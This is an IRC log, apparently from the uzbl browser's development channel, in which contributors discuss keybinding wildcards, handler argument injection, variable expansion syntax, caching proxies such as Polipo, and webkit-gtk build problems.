14:42 < Dieterbe> rob|: so what do you suggest as "display app" ? you said dmenu can update its entries in real time? o_O
14:42 < sscj> Zaba_: care to write a patch?
14:43 < Zaba_> sscj, ok
14:43 < uranther> sscj, is this what you're looking for? https://bugs.webkit.org/show_bug.cgi?id=16401
14:45 < sscj> there is a webkit_web_frame_dump_render_tree in webkitwebframe.h that seems to output a text representation of the dom
14:45 < uranther> oh ok
14:46 < DuClare> rob|, Hmm.  I was thinking of moving keycmd & keycmdn to actions entirely.  No problems?
14:46 < rob|> DuClare: seems reasonable
14:47 < rob|> Dieterbe: hmm, i guess dwm is a bit limited. so you're right it won't fit with the dynamic approach (i'm too used to dzen's way of handling dynamic input...)
14:47 < rob|> s/dwm/dmenu/
14:52 < Dieterbe> i'm not bothered by the lack of updates.  if someone really cares about it, i suggest they patch dmenu or come up with an alternative
14:55 < rob|> Dieterbe: right, though there is another problem with your approach. in order to give focus to a specific instance we'd need to use wmctrl or sth. alike.
14:55 < rob|> that needs the window id
14:55 < rob|> so if you're using --name you can't extraxt the window id from the fifo name..
14:56 < rob|> *extract
14:59 < rob|> sscj: grep render /usr/include/webkit-1.0/*.h                                                                                  ──(Do,Mai28)─┘
14:59 < rob|> zsh: no matches found: /usr/include/webkit-1.0/*.h
14:59 < rob|> libwebkit 1.1.7-1
14:59 < Dieterbe> rob|: well, that could be solved by querying for the xorg window id over the socket
15:00 < rob|> Dieterbe: which doesn't work yet
15:00 < rob|> but yeah, in theory it is likely to work
15:01 < Dieterbe> rob|: of course. all the things we've been discussing doesn't work yet :) this is an ideological discussion
15:02 < sscj> rob|: it's in libwebkit-nightly
15:02 < rob|> sscj: yeah, but should we really require the user to use a nightly webkit build?
15:04 < Zaba_> rob|, no.
15:04 < Zaba_> one should wait till it's in a release and till webkit-gtk also catches up
15:04 < uranther> it kind of sucks that the webkit-gtk api isn't complete
15:04 < Zaba_> sscj, http://sprunge.us/NWCB look into this, and most importantly test it, because I haven't got the forms to test it on.
15:04 < rob|> uranther: i'm sure the webkit guys will happily accept patches :p
15:05 < uranther> indeed.. and i was thinking we might end up getting involved in its development
15:05 < DuClare> rob|, We need to give bind wildcards.
15:06 < rob|> DuClare: can you be more precise?
15:06 < DuClare> rob|, Or create another bind-like system for stateless binds
15:06 < DuClare> rob|, Say, you want to bind ^D to backspace one char from keycmd.  You can't, because the bind only works if keycmd == ^D
15:07 < DuClare> <wildcard>^D would work as it'd ignore what comes before.. :x
15:07 < rob|> hmm, i see
15:08 < rob|> i suppose we could use regexes to parse the bindings, this would allow for some extra flexibility without to much code
15:08 < rob|> or rather allow using regexes in bindings
15:08 < rob|> at least a limited set
15:09 < DuClare> Not sure if that's nice in the long run.  That'd involve escaping bunches of characters.
15:09 < rob|> true :(
15:11 < DuClare> A simple wildmat system isn't really that difficult to implement :)
15:11 < sscj> Zaba_: push'd
15:11 < Zaba_> sscj, I hope you did test it.
15:12 < DuClare> Depending on how flexible & robust you want it.  If you want to support multiple wildmats, it's not that straightforward, though doable.  But I don't see an use case for that
15:12 < DuClare> Multiple as in *f*
15:13 < sscj> Zaba_: werks just fine :)
15:13 < rob|> yeah, so one wildcard per bind seems to be ok
15:13 < Zaba_> sscj, nice.
15:14 < rob|> DuClare: so you would first apply the unquote function on the bind and then expand it, right?
15:14 < DuClare> Hmm?
15:15 < rob|> oj, hmm. i guess right now we can't bind * or _ to something
15:15 < DuClare> That's correct.. :(
15:15 < rob|> or rather \* or \_
15:16 < DuClare> Hmm
15:16 < DuClare> Does it hurt if you'd have to quote any backslashes?
15:17 < rob|> hmm, don't think so. we'd just need to document it
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15:18 < DuClare> I could imagine using a function like 'find-unescpaed' which looks for a given character that is not preceded by a backslash
15:19 < DuClare> Hmmm..
15:22 < rob|> hrrm, this will lead to re-implemeting a huge set of shell expansion/quotation functionality :(
15:23 < DuClare> This'll also lead to re-implementing fugly keyboard input handling
15:23 < DuClare> And it'll be crap still
15:23 < DuClare> We don't support input methods
15:23 < DuClare> We don't support cursor movement
15:23 < DuClare> If we start fixing those, we'll be coding our own input box without the box
15:23 < rob|> maybe we could use this http://library.gnome.org/devel/glib/2.20/glib-Shell-related-Utilities.html#g-shell-parse-argv to some extend..
15:24 < DuClare> We can't
15:24 < DuClare> It's crap.
15:24 < DuClare> I tried using it before I wrote my own quotation system.
15:24 < rob|> oh, ok :(
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15:26 < rob|> we need a "unix philosophy aware" C api ;)
15:28 < uranther> so do we use something like Squid for caching?
15:30 < rob|> for now, yes you can..
15:33 < uranther> yeah i kind of answered my own question last night.. Squid would adhere to the unix philosophy, so it makes since
15:33 < uranther> sense
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16:12 < Dieterbe> the problem with squid is you cannot run it as regular user
16:12 < uranther> oh bummer
16:12 < Dieterbe> i don't like doing systemwide things for userspecific goals
16:15 < uranther> there are alternatives to Squid i think
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16:18 < Dieterbe> userspace ones?
16:18 < uranther> http://gedanken.demon.co.uk/wwwoffle/
16:18 < uranther> i dunno, i don't know much about this stuff
16:19 < uranther> never used a caching proxy
16:19 < Dieterbe> basically, if you want to listen on a privileged port (<1024, http is 80) you need root
16:20 < Dieterbe> so transparent proxies are by definition ran by superuser, afaik
16:20 < MarSoft_> but why not to use non-priveleged port for proxy?
16:20 < Dieterbe> (okay they can setuid but that's not the point)
16:20 < MarSoft_> (non-transparent)
16:20 < mxey> HTTP proxies are usually run at 3128 or 8080, not 80 itself.
16:21 < Dieterbe> yeah, you loose the transparancy.  which may not be that bad actually
16:21 < mxey> You do not need transparent proxies if your browser has a setting for proxies.
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16:21 < mxey> Although Squid might be a little heavyweight for only one user.
16:22 < uranther> well i figure we shouldn't implement file-based caching if there's something that already does it
16:22 < mxey> I did not say we should ;)
16:22 < uranther> the memory-based caching is done with webkit, so we won't even have to worry about it
16:22 < mxey> Does Polipo do caching?n
16:24 < uranther> i reckon, from their website: "Polipo is a small and fast caching web proxy"
16:24 < mxey> Sounds like our guy.
16:25 < mxey> btw, the startup time of uzbl is just plain awesome.
16:25 < uranther> it also has (ad) filtering capabilities
16:25 < mxey> 'While Polipo was designed to be used by one person or a small group of people, there is nothing that prevents it from being used by a larger group.'
16:26 < mxey> For ad filtering, I always wanted to try that Ruby thing, Mousehole.
16:26 < mxey> http://github.com/why/mousehole/tree/master
16:29 < Dieterbe> someone should put a list on the wiki for all mentioned solutions and compare them :P
16:32  * mxey nickt
16:33  * uranther installs polipo
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16:34 < Deepspawn> mxey, How you do ad filtering with MouseHole?
16:34 < mxey> I do not.
16:35 < mxey> I have not used MouseHole yet, but I imagine you use some Ruby code to strip apps.
16:36 < Deepspawn> I see, I'm going to test polipo first then
16:37 < mxey> *strip ads
16:37 < mxey> One should be able to implement using AdBlock lists.
16:37 < mxey> *something
16:38 < Deepspawn> mxey I'n going to try doing that but for polipo
16:39 < mxey> Deepspawn: Put it on the wiki then
16:39 < mxey> Why are we running DokuWiki instead of ikiwiki anyway? :P
16:39 < Deepspawn> mxey, if I succeed I will
16:39 < mxey> great.
16:41 < Dieterbe> mxey: no specific reason i guess. dokuwiki looked good to me
16:42 < uranther> am i misunderstanding the fifo? :P i tried echo 'ZZ' > /tmp/uzbl_fifo_numberz
16:42 < DuClare> uranther, Yes, you tried to exec a bind
16:42 < DuClare> The fifo reads commands, not binds
16:43 < DuClare> uranther, Try echo 'keycmd ZZ' > fifo
16:43 < mxey> Dieterbe: Well, ikiwiki is not PHP and the contents can be tracked in a Git wiki ;)
16:43 < uranther> k
16:44 < uranther> that worked. should echo 'exit' > fifo work?
16:44 < DuClare> Nope, act exit
16:44 < Dieterbe> mxey: just looked it up. it looks nice.
16:44 < mxey> Dieterbe: Indeed it does. I am currently running two instances of it.
16:45 < uranther> i see
16:45 < DuClare> uranther, The readme is called readme because you should read him
16:46 < DuClare> ;)
16:46 < uranther> haha yea, sorry
16:46 < Dieterbe> mxey: is there also a way to edit a file through a webinterface and have it committed into git?
16:46 < mxey> Yes.
16:46 < mxey> Actually I am doing that in the third instance.
16:47 < Dieterbe> mxey: well, i've been thinking about having my blog in plaintxt files in git, but my problem was user comments.. with this method i could achieve what i want.. maybe
16:47 < mxey> There is a comments plugin for ikiwiki.
16:48 < mxey> I think joeyh is using that on his own blog, hold on.
16:48 < uranther> well, FF works with polipo so far, but not uzbl
16:48 < mxey> Dieterbe: http://kitenet.net/~joey/blog/entry/website_backup_RFC/ (see bottom)
16:49 < Dieterbe> ugh. openid o_O
16:49 < mxey> You can also use it without login (anonok) or with HTTP auth
16:50 < Dieterbe> and is there some support for anti spam?
16:50 < uranther> wtf FF is having some serious rendering issues atm
16:50 < Dieterbe> using these webforms
16:50 < mxey> Dunno.
16:51 < mxey> I never used the comments plugin myself.
16:51 < mxey> (My blog has no comments.)
16:51 < mxey> (OK, I guess it also lacks readers, mostly :>)
16:52 < Dieterbe> :)
16:53 < mxey> I will of course spam this channel with posts regarding uzbl if they happen.
16:53 < uranther> does anyone have uzbl working with any proxy?
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16:58 < uranther> nvm it seems to be magically working now
16:59 < uranther> polipo seems to be legit. it's doing partial caching of deviantart.com
17:01 < DuClare> rob|, bind z = chain 'runcmd get status_format' 'keycmd_nl :gitduc' 'js alert("hi")' 'runcmd get uri'
17:02 < DuClare> rob|, Guess what
17:03 < DuClare> rob|, It works, and as you can see, I've moved keycmd[n] to actions.  I also think that with little work, I could move get, set and bind to actions, which'd pretty much do the merge we've been talking about.
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17:07 < rob|> very cool, DuClare
17:08 < rob|> that wouldn't get rid of the separate tables, right? i don't cosider that a big thing, though...
17:08 < DuClare> Correct.  But we'd get rid of "commands and actions" and have actions only.  We'd also get rid of the regexes, parse_cmd_line, etc.
17:08 < DuClare> :]
17:10 < rob|> ok, sounds good. could you run some comparative speed tests to make sure we don't slow down thnigs?
17:11 < uranther> oh cool.. i just install dmenu to get the bookmarks working
17:11 < uranther> where's this dmenu-vertical patch i hear about?
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17:11 < DuClare> rob|, If I remember, I'll look into that when I'm done.  Though I'm not sure what's the best way to profile this.. :x
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17:18 < Zaba_> DuClare, bind as an action would allow for making keybinding that make keybindings!
17:18 < Zaba_> wuhu.
17:20 < rob|> DuClare: if on linux, wrapping rdtscl() around the parsing functions and printing the values for a large set of input should be ok i guess
17:21 < DuClare> Zaba_, It's already doable
17:22 < DuClare> Zaba_, bind foo = runcmd bind bar = js alert("baz");
17:22 < Zaba_> Well, but that's a bit ugly, and involves `runcmd' which just proves the merge of actions and commands makes perfect sense ;>
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17:35 < DuClare> Doesn't quite work with handlers yet.  I think I'll rework the handler system a bit.. right now it inspects the action and if it's sh or spawn, it "injects" the handler specific parameters in the action line.  It's somewhat ugly as it needs to test, splice and re-construct the argvector; it's even uglier if adapted to check every arg in case the action is 'chain'.
17:36 < DuClare> I think a neater solution would be to let the user add a symbol which gets expanded to handler specific args.
17:36 < DuClare> This'd also future-proof the system in case we come up with new spawn & sh-like actions.
17:36 < Zaba_> True.
17:37 < DuClare> Last time I "broke" things when I added sync_sh and sync_spawn but forgot to adapt the handler injection code for it.. it's not very neat.
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17:40 < DuClare> This change would hovewer be against Dieterbe's idea of having fixed positional parameters for handlers.  Instead, the user would dictate where the args are expanded..
17:42 < Deepspawn> https://tor-svn.freehaven.net/svn/incognito/trunk/adblockplusfilter2polipo.sh This script seems to be working, need to replace ? with \? after running it but that seems to be all
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17:50 < DuClare> The grass has gotten tall, and I shall go reset its cycle of growth →
17:52 < Dieterbe> you cannot reset a cyle. either you reset it, or you restart the cycle. just my 2cents
17:53 < DuClare> Is that so?
17:54 < Dieterbe> yep
17:54 < DuClare> It's different from letting it restart naturally
17:54 < DuClare> A forced restart.  Is that not a reset?
17:54  * DuClare ponders.  Bbl.
17:54 < Dieterbe> the trick is, a cycle follows a known pattern, it can only forward or backward. not from point A to B
17:55 < sscj> also, mowing the lawn doesn't restart the cycle
17:55 < sscj> a restart would involve seeds
17:55 < DuClare> http://www.answers.com/topic/reset-cycle
17:56 < DuClare> :/
17:57 < Dieterbe> sscj: depends on how you define your cycle
17:58 < Dieterbe> DuClare: so? obviously if you from N-1 to N and define N as your starting point, you can say you reset it
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17:58 < Dieterbe> but you cannot go from N-2 to N for example, on a cycle
18:00 < Dieterbe> anyway, this is one of those discussions i could easily have picked the other side
18:00 < Dieterbe> the concepts are loose enough to be able to defend both sides, so let's stop the silly discussion :P
18:00 < Dieterbe> either way i'm driving home anyawy
18:01 < Dieterbe> see ya soon
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18:16 < Masca> morning
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18:44 < mxey> What window managers are you using, btw?
18:44 < Deepspawn> awesome
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18:44 < Zaba_> dwm
18:45 < Zaba_> oh wait, it's mxey asking it.
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18:47 < goozbach> anyone having problems building on Ubuntu 0.04?
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18:50 < uranther> goozbach, i got it to work, but i compiled the newest webkit-gtk
18:51 < uranther> hey Dieterbe are you still developing awmenu?
18:52 < uranther> oh he's driving..
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19:06 < sscj> uranther: he posted on the arch forums that it was put on hold after he found dmenu-vertical
19:06 < uranther> oh ok
19:11 < DuClare> mxey, Xmonad.
19:17 < uranther> gah.. i can't get this dmenu-vertical patch to work
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19:21 < uranther> "hunk failed"
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19:43  * Dieterbe home
19:43  * DuClare Dieterbe
19:43 < Dieterbe> wassup colleague
19:45 < DuClare> Dieterbe, Is it bad if the user has to specify where hdler specific args are expanded?  The positionals wouldn't be fixed any longer
19:46 < Dieterbe> how would he specify it?
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19:47 < DuClare> Some symbol that gets expanded to them.  set history_handler = chain 'spawn hdler.sh HDARGS' 'sh exec someotherscript.sh $@ HDARGS'
19:48 < Dieterbe> HDARGS == args added by uzbl?
19:48 < DuClare> Handler specific args added by uzbl.
19:49 < DuClare> The normal args will still be added to spaws and shs as always
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19:51 < DuClare> Meh, it's still not very nice.  I don't like pre-parse expansions in general.
19:51 < Dieterbe> so you could put: aa bb HDARGS cc dd, and the script would receive aa bb <uzbl args here> cc dd ?
19:51 < goozbach> guess I'll have to wait on Uzbl... the git-clone of webkitgtk is not working
19:51 < DuClare> With spawn, the script would receive <uzbl args> aa bb <handler args> cc dd
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19:52 < Zaba_> goozbach, webkit-gtk 1.1.7, the release, works fine for me.
19:52 < Dieterbe> DuClare: hmm what are handler args anyway? can you give some examples?
19:53 < MarSoft_> Dieterbe: args which are specific for the given event
19:53 < Dieterbe> such as..
19:53 < DuClare> Dieterbe, For history_handler you have date of visit
19:53 < goozbach> hmm I guess I can try that
19:53 < Dieterbe> ah, of course
19:53 < DuClare> Download gets url of the target
19:53 < Dieterbe> right right
19:54 < Dieterbe> how do we do it now? IIRC its <uzbl args> <handler args> <user args> right?
19:54 < DuClare> Yep
19:54 < DuClare> But the implementation is FUGLY
19:55 < DuClare> Basically, run_handler checks if the action is spawn, sync_spawn, sh, or sync_sh and then injects the args to the action line, which will be unquoted & spliced later by parse_command
19:55  * Dieterbe opens uzbl.c
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19:58 < Dieterbe> hmm how do you suggest we fix this? looks like a "necesseary evil"
19:59 < sm217> Hi
19:59 < Dieterbe> hi sscj 
19:59 < Dieterbe> i mean sm217 . we have too many people here :P
19:59 < sm217> yeah, was about 30 3 weeks ago
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20:00 < DuClare> Dieterbe, Basically, what I just suggested would mostly shift the responsibility to the user ^^;  Rather than making the code inject stuff, it'd simply replace any occurrences of HDARGS (or whatever symbol is to be used).
20:00 < Zaba_> DuClare, well one could then as well use ARGS for uzbl arguments..
20:01 < Dieterbe> DuClare: ah so it's more about the mere prescence of 'HDARGS', not so much about it's position
20:01 < DuClare> Zaba_, In fact, I'd prefer to make everything that can be passed to scripts a variable; then I'd make any uzbl variable expandable.
20:01 < DuClare> Dieterbe, Yep.
20:01 < Zaba_> DuClare, that sounds... Nice.
20:02 < Zaba_> DuClare, I'd probably like that.
20:02 < Dieterbe> nice though unneeded for hdargs
20:02 < DuClare> Yep
20:02 < DuClare> Might (or might not) be needed for some fancier custom handlers people will use later on..
20:02 < Dieterbe> the problem is, uzbl should "know" when a command being executed is a handler or not, and hence when it needs the args. putting this in the hands of the user is not so clean imho
20:02 < DuClare> They could always GET the var, but passing it to the script directly is a nice shortcut
20:03 < MarSoft_> Maybe use separate placeholders for separate args? For example, if I don't need PID of uzbl instance, I will not use it...
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20:03 < seraphyn> Re
20:03 < Dieterbe> DuClare: what about we create a function like 'parse_args', and then in history_cb for example, we call parse_args(args) and call run_command
20:03 < rob|> DuClare: hehe, that's what i wanted to suggest, too
20:03 < rob|> DuClare: expand uzbl vars, that is
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20:03 < DuClare> rob|, I have taken note that we share common ideas very often. :]
20:04 < Dieterbe> indeed expansion sounds nice
20:04 < Zaba_> expansion, like what?
20:04 < MarSoft_> e.g. 'cpawn hdler.sh PIPE SOCKET my_arg URI'
20:04 < rob|> DuClare: we could even allow the user to create his own vars
20:04 < DuClare> Dieterbe, Sorry, I lost you a bit.. parse_args would do what?  Expand hdargs to the handler-specifics?
20:04 < DuClare> rob|, I've had that in my mind too.
20:04 < Zaba_> Just, if setting using `set' are kept, don't make them separate from variables...
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20:05 < DuClare> rob|, Especially useful with action chains.  What if you want to remove and add some action on the fly?  Re-writing the whole chain would be an inconvenience, but re-setting some user variable would fit..
20:05 < rob|> exactly
20:05 < Dieterbe> all this variable expansion and users defining their own vars sounds a lot like having an SH-syntax config file like wmii
20:06 < Zaba_> Probably a bit complicated.
20:06 < DuClare> Dieterbe, Technically we wouldn't need much to do.. a table for user variables, and a defined way to expand any variables
20:07 < Zaba_> A bit too complicated.
20:07 < DuClare> Complicated?
20:07 < DuClare> We already expand %s, and we already expand various symbols in status_format, and we already have GET for fetching variables' values.. :>
20:07 < DuClare> So we'd only decide on a syntax for expansions and add a table for user vars
20:07 < DuClare> Simple.
20:08 < mxey> Well, why not control everything with a script like wmii? everything is built in sh or similar.
20:08 < Dieterbe> DuClare: basically what i suggest is taking the logic from run_handler (where it checks if(action=="spawn") etc) and putting that logic in a function parse_args.  then it would be up to the callback function like history_cb to call that function and then call run_command, which doesn't need to do the "if..." thing anymore and just needs to call parse_command. in fact we could skip run_handler and just call parse_command directly
20:08 < sscj> how about a simple forth like interpreter?
20:09 < Zaba_> sscj, that'd be kinda backwards, though.
20:09 < Zaba_> I mean, the syntax.
20:09 < DuClare> Dieterbe, Yes, but what does parse_args do exactly?  Inject the handler specific args?  That'd be about the same as renaming run_handler to parse_args :x
20:10 < Zaba_> mxey, does wmii actually use sh or invent own sh-like language?
20:10 < DuClare> Sauna, bbl →
20:10 < mxey> Zaba_: it just runs your wmiirc, you chose the hashbang.
20:10 < mxey> it ships scripts for sh and rc
20:11 < Zaba_> Ah.
20:11 < mxey> And there is ruby-wmii.
20:11 < Zaba_> mxey, and how does it get the configuration information out of that?
20:11 < Dieterbe> DuClare: no the "injection" is the responsibility of history_cb, download_cb etc. but since their will be some common logic i would put it in a separate function, that's all.
20:11 < mxey> Zaba_: The script writes into a 9P filesystem.
20:12 < goozbach> webkit has a  shittonne of deps
20:12 < uranther> yep
20:12 < Zaba_> mxey, an' it doesn't work without p9p?
20:12 < mxey> p9p?
20:12 < Zaba_> plan9 port
20:12 < rob|> need to run, see you later
20:12 < mxey> it does
20:12 < Zaba_> where does it get a 9p filesystem from, then?
20:13 < mxey> it has a lib9p.
20:13 < Zaba_> ah.
20:13 < mxey> and ships a client wmiir.
20:13 < DuClare> Dieterbe, Well, the injection is already "common logic", and that's what I made run_handler for.. the handler callbacks construct their specialized arguments and pass it to run_handler, which is responsible for injecting them to the right spot. :0
20:13 < Zaba_> well, I don't really know whether I'd like it like that with uzbl...
20:13 < mxey> Well, it does make wmii nicely scriptable.
20:14 < mxey> Just reading from files is easier than a two-way communication through a pipe.
20:15 < Zaba_> if you do that through a pipe, it means the application will have to do some processing of the data as well.  It means some special syntax for it, still.  No?
20:15 < Zaba_> While with a filesystem at hand you could give the app a djb-style config and be done.  :P
20:16 < mxey> hm
20:16 < mxey> Both approaches are very simple.
20:16 < mxey> I was not required to choose as of yet.
20:16 < mxey> But might be for Anyplay.
20:16 < Zaba_> It's just that if you parse the config in some way anyway, nothing prevents you from writing a launcher script that generates a config and gives it to the app.
20:16 < mxey> what do you mean?
20:17 < Zaba_> Oh well, actually..
20:17 < Zaba_> mxey, what I meant was, you don't need special application support for launching config as some script, you can just make a script that generates the config and launches the program with it.
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20:22 < mwhitney> is there any way currently to run scripts on startup?
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20:31 < MarSoft_> mwhitney: maybe simply add line 'spawn somescript' to config?
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20:33 < mwhitney> I think I tried that and it didn't work
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20:35 < mwhitney> hmm, I'm have to try again later because I've got to go now, but basically I was looking into making an external program to do tabs or similar, and need access to the browser window's id on startup
20:38 < Deepspawn> I'm having rendering issues on some pages with libwebkit 1.1.7 from arch, I tested with midori  to be sure it was webkit fault, which version of webkit are you using?
20:39 < MarSoft_> Deepspawn: 1.1.7
20:39 < MarSoft_> I didn't notice any issues yet..
20:40 < Deepspawn> MarSoft_ can you test identi.ca for me? There are some other places where the form's tex input is rendered really small and seems that it doesn't accept any input
20:42 < MarSoft_> Deepspawn: http://s40.radikal.ru/i089/0905/1a/d23b09c91227.png
20:42 < MarSoft_> Deepspawn: seems to be normal..
20:44 < MarSoft_> But I can't find any input/form on this site...
20:45 < Deepspawn> MarSoft_  are you using arch by any chance or I can blame arch build of webkit and try recompiling it?
20:46 < MarSoft_> Deepspawn: I am using Gentoo...
20:46 < Deepspawn> MarSoft_ Ok, let's blame the build, bbl
20:48 < Dieterbe> DuClare: sorry , was afk for a while. i'll read your stuff now
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20:54 < Dieterbe> DuClare: well tbh i prefer that uzbl takes care of the variable "injection". we can know programatically when we need the extra args, so no need to make the user responsable for this. the implementation could be a bit cleaner though. (eg don't do the if(...) check, just let the approriate callbacks (history_cb et al) call a different function)
21:02 < sscj> I still think a forth(-like) interpreter would be a good idea
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21:08  * Dieterbe google forth
21:11  * sm217 bakes something
21:13 < DuClare> Dieterbe, It's possible to attach actions other than spawn/sh/sync_* to handlers
21:14 < DuClare> Dieterbe, Therefore it has to make the check.  It can't just inject the args to a 'set' for example
21:14 < Dieterbe> DuClare: ooh! then say so ! :P
21:14 < DuClare> Oh well, I guess the current implementation has to suffice for now.  At least it works.
21:15 < Dieterbe> yeah and TBH i think it's the least ugly method to do it
21:15 < DuClare> Dieterbe, It'll get a slight bit uglier when I adapt it to support 'chain'
21:15 < DuClare> :)
21:21 < bubaak> hey guys, i have been playing with uzbl and just found out that non-tab concept is pretty cool, i don't want tabs ever again :)
21:22 < bubaak> but now i'd like to ask, when i try download tarball from AUR i get 'packages.php?ID=25972', what can i do with that?
21:22 < DuClare> Hi guy, I'm glad you like it :]
21:23 < jsn-> hrm, is multiple instance interface available yet?
21:23 < Dieterbe> jsn-: no
21:23 < Dieterbe> bubaak: seems like an aur problem
21:24 < bubaak> Dieterbe: hmm, i'll try in firefox
21:26 < bubaak> Dieterbe: it's working all right in ff, when i hover mouse over the link in uzbl, it shows correct url in statusbar
21:27 < goozbach> doesn't yet handle file:// urls ?
21:28 < Dieterbe> bubaak: you need to be WAY more specific. i suggest you create a bugreport @ uzbl.org/bugs and tell us the url of thepage, which link you click, what exactly you get etc
21:28 < Deepspawn> goozbach, it doesn't list directories, but open files
21:28 < goozbach> ahh
21:29 < bubaak> Dieterbe: ok, i'll investigate it a bit first
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21:31 < sscj> looks like toggling disable_script doesn't work, it's stuck at disable
21:31 < DuClare> How are you toggling it?
21:31 < sscj> set disable_script = 1; set disable_script = 0
21:32 < sscj> disable_scripts*
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21:36 < Dieterbe> ugh. who was the first one to come up with the makefile DESTDIR patch? i've received several of these patches but i want to merge the one from the first guy who submitted it
21:36 < Dieterbe> but of cours, now i don't find it back
21:37 < DuClare> sscj, Works fine here
21:37 < DuClare> Perhaps you're running an old version :>
21:38 < sscj> 2 day old dieterbe/experimental
21:38 < Dieterbe> dude that's old
21:38 < DuClare> Do you have commit be8641ae76fa0d2abb2c6775b7a412e92a39c328
21:38 < Dieterbe> (just kidding :P )
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21:40 < Dieterbe> btw sscj , i suggest you merge from me
21:45 < sscj> actually, it works, it's just a bit weird behavior
21:45 < sscj> disable_scripts only works if disable_plugins is 1
21:47 < DuClare> Uh
21:47 < DuClare> rob|, ^^
21:49 < DuClare> Fixed
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21:49 < DuClare> Hmm
21:51 < DuClare> I warn that merging from me might break your cfg
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22:17 < uranther> what do i download to get the dmenu and vertical patch working?
22:20 < DuClare> Try applying it by hand; that way you'll find out what's wrong with the patch, hopefully.
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22:26 < uranther> oh, there are known issues with the patch?
22:26 < uranther> cuz it didn't patch at all for me :P
22:27 < uranther> on 3.8, 3.9 nor 4.0
22:35 < DuClare> I don't know, I've never touched dmenu or the patch
22:42 < Dieterbe> uranther: dmenu-vertical from AUR
22:42 < uranther> i don't have archlinux :/
22:44 < Dieterbe> ok, just look it up anyway. google for 'arch linux AUR dmenu-vertical pkgbuild'
22:44 < Dieterbe> and look at the PKGBUILD script
22:44 < Dieterbe> then you'll see what you need to do
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22:44 < uranther> ok thx
22:45 < Dieterbe> i'm off
22:45 < Dieterbe> good night all
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02:18 < locks> salutations
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04:54 < locks> hello again, I tried building on ubuntu from source
04:54 < locks> but no can do
04:54 < locks> still unsupported or just missing the libs?
04:59 < Deepspawn> lock probably missing the libs you have the output?
05:07 < locks> ah, it's complaining about webkit and gtk packages
05:13 < locks> Package gtk+-2.0 was not found in the pkg-config search path.
05:15 < Deepspawn> you need the dev version of the packages
05:18 < locks> i'll set everything up and have another go
05:18 < locks> cheers
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06:39 < brisbin33> i'd uzbl to be my link handler out of urxvt; what would the syntax be for .Xdefaults URxvt*urlLauncher: option? 'uzbl' and 'uzbl -u' don't work 'firefox' does.  anyone have this working?
06:40 < brisbin33> i'd like*
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06:43 < Deepspawn> brisbin33 I think that's because urxvt it's looking for a uzbl -u command, maybe you need to write a wrapper: #!bin/sh \n uzbl -u $1
06:43 < Deepspawn> or something like that ;)
06:43 < brisbin33> good idea, i'll try that
06:43 < brisbin33> thanks
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06:49 < brisbin33> Deepspawn: worked like a charm
06:50 < Deepspawn> good
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09:22 < Dieterbe> morning dudes
09:23 < Frots> morning sunshine :p
09:23 < mxey> Moin.
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09:32 < sscj> how about a way to set what key triggers a script? so you'd do something like "set key # = Tab", and then you can use the tab key to trigger "bind foo# = spawn script %s"
09:34 < Dieterbe> huh?
09:34 < Frots> :|
09:37 < sscj> conceptually, there are currently only "set key _ = Enter" and "set key * = *"
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09:40 < sscj> although, I guess it would be easier with just "bind foo<tab> = spawn script %s"
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09:44 < Dieterbe> yep that's what i think
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10:48 < mxey> What is the current state of SSL certificate verification in uzbl?
10:49 < mxey> It looks like it has no problem with self-signed certs as of now.
10:49 < mxey> Because I mostly ignore broken certs except for some important stuff, I suggest a setting which script to call on certificate problems that decides what to do.
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11:13 < rob|> morning.
11:14 < sscj> not sure if ssl certs are handled by webkitwebpolicydecision
11:14 < rob|> DuClare: do you already work on variable expansion within commands/actions?
11:15 < rob|> i think we should use something else than '$' to denote uzbl variables that should be expanded, so we can easily use shell and uzbl vars in the same string without multiple levels of quotes
11:16 < sscj> lets use £ instead
11:17 < sscj> :V
11:17 < Zaba> nah, that'll create encoding confusion
11:17 < mxey> €!
11:18 < sECuRE> i vote for ♪
11:18 < Zaba> anything non-alphanumeric that is also not a shell special character would work
11:18 < sECuRE> or ♥
11:18 < Zaba> sECuRE, unicode, kthx.
11:19 < Dieterbe> ♥ looks good to me :)
11:22 < rob|> hehe, i'd rather vote for '#' or '@'
11:25 < Dieterbe> # == comment
11:25 < Dieterbe> what about \o/UzBl\o/
11:27 < sscj> ThIzIzAvArIaBuL
11:27 < sscj> case sensitive
11:29 < Dieterbe> maybe we should really consider an sh syntax like wmii
11:29 < Dieterbe> then we have variable expansion and all that for free
11:29 < mxey> You mean using sh ;)
11:29 < Dieterbe> (unix philosophy and all)
11:30 < Dieterbe> mxey: well, i don't know exactly how wmii implements it, but it looks nice
11:30 < mxey> wmii offers a 9P filesystem.
11:30 < DuClare> rob|, No, I haven't had the time for it yet.  I need to fix chain for handlers, and then I intend to support various key combinations & bindings.
11:30 < sECuRE> wmii reads from its pseudo-filesystem and writes back to it
11:30 < DuClare> I'd use @ or %
11:30 < sECuRE> the configuration actually *is* a part of the wm
11:31 < sECuRE> i think that’s why it is so slow under load ;)
11:31 < mxey> How do you get load on your WM?
11:31 < rob|> thinking about something like this http://pastebin.com/m456db332
11:31 < sECuRE> load on the system was what i meant of course
11:31 < rob|> though that method doesn't handle quotes greacefully under every condition..
11:32 < DuClare> It also doesn't allow quoting a \ right before @
11:32 < rob|> yeah, that's what i meant
11:54 < Zaba> hm
11:54 < Zaba> links that open in new window seem to make uzbl open *two* new windows.
11:55 < Zaba> besides, if a page has some background color other than white and is shorter than the uzbl window, the part of the window the page content didn't cover stays white.
11:57 < DuClare> Zaba, Bug on the page
11:57 < Dieterbe> that's a good thing
11:58 < Zaba> DuClare, is it?
11:58 < DuClare> Zaba, http://hikari.serveftp.org/guile/
11:58 < DuClare> Zaba, Basically, some people are setting the bg colour for body rather than for html
11:58 < Zaba> oh
11:59 < Zaba> DuClare, somehow, making X redraw the window (i.e., changing WM workspaces back and forth) makes that white part of the page become the same color as normal background.
11:59 < mxey> eh, setting the bg color instead of body sounds strange.
11:59 < mxey> *on html instead of body
12:01 < DuClare> Zaba, Not here :V
12:01 < Zaba> DuClare, for some sites it does here
12:02 < Zaba> mxey, well, my site sets back/foreground colors on html, partly because setting them on body wouldn't affect head
12:02 < DuClare> Examples?
12:02 < mxey> how is head visible on the page?
12:03 < Zaba> quite easily, really
12:03 < Zaba> head { display: inline; }
12:03 < mxey> CSS voodoo.
12:03 < Zaba> title { display: block; ...; }
12:05 < Zaba> DuClare, http://labs.adobe.com/downloads/flashplayer10.html <-- if my window is larger than the page in height, I get a white stripe on the bottom.  If I scroll past, it's all grey there, and if I somehow make webkit redraw the part of that stripe, it becomes grey.
12:06 < Zaba> perhaps I need a webkit update...
12:07 < DuClare> I see no white stripe.
